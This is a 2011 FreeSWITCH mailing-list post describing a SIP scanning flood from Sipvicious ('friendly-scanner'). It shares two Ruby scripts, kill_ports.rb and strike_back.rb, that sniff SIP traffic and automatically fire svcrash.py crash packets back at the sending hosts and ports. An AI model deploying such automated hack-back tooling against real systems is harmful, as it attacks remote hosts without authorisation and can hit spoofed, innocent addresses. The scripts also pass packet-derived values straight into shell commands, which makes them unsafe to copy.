[Freeswitch-users] SPIT attack and how to strike back
Peter P GMX
Prometheus001 at gmx.net
Thu Apr 21 03:00:48 MSD 2011
Hello all,
I would like to share this with you as you may have also been affected
by this threat.
Yesterday we received a SPIT attack to our Freeswitch servers. We had
about 50 register requests/sec. We noticed this as we saw a slight
increase in the load of the Freeswitch servers. Fortunately Freeswitch
can handle a huge amount of register requests so we had no denial of
service.
You can identify this attack by finding the following in the Register
message:
User-Agent: friendly-scanner
How to get rid of it:
The attacker used Sipvicious (friendly-scanner). Sipvicious itself has a
nice tool "svcrash.py" wich can send a malformed packet back to the
attacker which crashes their own Sipvicious tool. You can issue this tool by
python svcrash.py -d <host of attacker> -p <port of attacker>
You will need port 5060 on your machine to work. But there is also a
workaround for that. svcrash.py will show how to overcome this if your
port 5060 is not available.
Download it here
http://sipvicious.googlecode.com/files/sipvicious-0.2.6.tar.gz and
unpack it to a folder of your choice.
I wrote a small Ruby script to send the packet back to a port range, as
our attacker used some dozens of ports to send.
Here is the script (Install ruby first by "apt-get install ruby" e.g. on
Debian based systems). Put it into the sipvicious directory
kill_ports.rb:
#!/usr/bin/env ruby
host=ARGV[0]
start_port=ARGV[1].to_i
end_port=ARGV[2].to_i
start_port.upto(end_port) do |port|
cmd="python svcrash.py -d #{host} -p #{port}"
p cmd
erg=`#{cmd}`
p erg
end
You now can run it by
./kill_ports.rb <ip> <from_port> <to_port>
By using this tool we got rid of most of the SPIT messages. But after a
while they started again to attack us from different ports.
The next step is: Why not automate this by trying to identify host and
port automatically and send back the svcrash.py packet to the sender's port?
First install the pcap library
apt-get install libpcap-dev libpcap-ruby
Then I wrote the following tool to automate this, it makes use of the
kill_ports.rb above:
strike_back.rb:
#!/usr/bin/env ruby
# I used some code from http://snippets.dzone.com/posts/show/5931
require 'pcaplet'
require 'logger'
require 'timeout'
@timeout=3600 # max runtime: 1 hour
@logfile='strike_back.log'
class AuditLogger < Logger
def format_message(severity, timestamp, progname, msg)
puts msg
"#{msg}\n"
end
end
logfile = File.open(@logfile, 'a')
LOGGER = AuditLogger.new(logfile)
LOGGER.level = Logger::INFO
search="friendly-scanner"
puts"Searching for '#{ search}' in SIP packets"
$network = Pcaplet.new('-s 1500')
$filter = Pcap::Filter.new('udp and dst port 5060', $network.capture)
$network.add_filter($filter)
puts "Logfile: #{@logfile}"
puts "Starting capture..."
begin
Timeout.timeout(@timeout) do # 3600 sec
for p in $network
header= "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")}
#{p.src}:#{p.sport} => #{p.dst}:#{p.dport}"
if $filter =~ p
#puts "simple search"
if p.udp_data.index(search)
LOGGER.info "Kill Friendly scanner #{p.src} with Source
Port #{p.sport}"
cmd="./kill_ports.rb #{p.src} #{p.sport} #{p.sport}"
erg=`#{cmd}`
p erg
LOGGER.info header
LOGGER.info p.udp_data
end
end
end
end
rescue Timeout::Error
logfile.flush
puts "Timeout - finished."
end
There may be a better way to code this, but at least it worked. After
about 15min the number of attacks went to 0.
Disclaimer: You can damage other systems by using these tools. So be
carefull and use at your own risks. Do not use this tool for attacking
other systems!
Best regards
Peter
More information about the FreeSWITCH-users
mailing list